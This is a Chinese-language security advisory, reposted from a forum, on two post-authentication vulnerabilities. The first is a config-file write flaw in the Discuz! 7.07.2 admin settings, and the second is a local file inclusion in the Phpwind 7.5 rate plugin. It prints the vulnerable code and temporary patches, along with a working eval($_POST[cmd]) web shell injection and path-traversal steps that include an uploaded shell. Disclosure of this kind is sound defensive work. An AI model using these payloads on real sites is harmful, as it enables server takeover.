php 7.07,Discuz!7.07.2 & Phpwind7.5 后台鸡肋漏洞漏洞预警 -电脑资料

转自t00ls

很多人有了，流传出来了，然后发出来，

一、discuz后台settings.inc.php中写shell漏洞：

漏洞详情：

if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {

$ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];

if($settingsnew['uc']['connect']) {

$uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);

if(!$uc_dblink) {

cpmsg('uc_database_connect_error', '', 'error');

} else {

mysql_close($uc_dblink);

}

}

$fp = fopen('./config.inc.php', 'r');

$configfile = fread($fp, filesize('./config.inc.php'));

$configfile = trim($configfile);

$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

fclose($fp);

$connect = '';

if($settingsnew['uc']['connect']) {

require './config.inc.php';

$connect = 'mysql';

$samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);

$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');

$configfile = insertconfig($configfile, "/define\('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc']['dbhost']."');");//正则表示从'到')中的被替换，而')可以被任意提交，from oldjun.com

$configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");

$configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");

$configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");

$configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");

//$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");

}

$configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");

$configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");

$configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");

$configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");

$configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");

$fp = fopen('./config.inc.php', 'w');

if(!($fp = @fopen('./config.inc.php', 'w'))) {

cpmsg('uc_config_write_error', '', 'error');

}

@fwrite($fp, trim($configfile));

@fclose($fp);

}

settings.inc.php对提交的数据缺乏有效过滤，导致可以写入')污染配置文件的数据，而insertconfig函数的正则匹配无法正确匹配到最后，导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件，Discuz!7.07.2 & Phpwind7.5 后台鸡肋漏洞漏洞预警》(https://www.unjs.com)。

function insertconfig($s, $find, $replace) {

if(preg_match($find, $s)) {

$s = preg_replace($find, $replace, $s);//正则匹配替换数据

} else {

$s .= "\r\n".$replace;

}

return $s;

}

漏洞测试：

步骤一：UC_IP(UC_IP是可选项，随便写入一般不影响程序运行)中写入污染数据：xxx');eval($_POST[cmd])?>提交；

步骤二：UC_IP随便输入aaa，正则匹配只匹配到了')，于是自动把分号前的闭合了。

临时补丁：

在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加：

foreach($settingsnew['uc'] as $key => $value){

$settingsnew['uc'][$key]=str_replace(')','',$value);

}

二、phpwind后台本地包含漏洞：

漏洞详情：

文件：hack\rate\admin.php

源码：

!function_exists('readover') && exit('Forbidden');

define ( "H_R", R_P . "hack/rate/" );

define ( "L_R", R_P . "lib/" );

InitGP ( array ('ajax' ) );

$action = strtolower ( ($job) ? $job : "admin" );

$filepath = H_R . "action/" . $action . "Action.php";

(! file_exists ( $filepath )) && exit ();

if ($job != "ajax") {

require H_R . '/template/layout.php';

} else {

require_once $filepath;

}

?>

再看看hack\rate\template\layout.php：

!function_exists('readover') && exit('Forbidden');

include_once PrintEot ( 'left' );

print <

EOT;

require_once $filepath;

include_once PrintEot ( 'adminbottom' );

?>

$job可以自定义，触发本地包含，只不过addslashes了，因此不能通过%00截断；但可以通过若干///截断，或者直接在tmp文件夹下写个shell来包含。具体不多说了，利用办法：

漏洞测试：

先在tmp下上传一个shell，名为Action.php

然后访问：http://127.0.0.1/pw/admin.php?ad ... ../../../../../tmp/

临时补丁：

$filepath = H_R . "action/" . $action . "Action.php";

替换为：

$filepath = Pcv(H_R . "action/" . $action . "Action.php");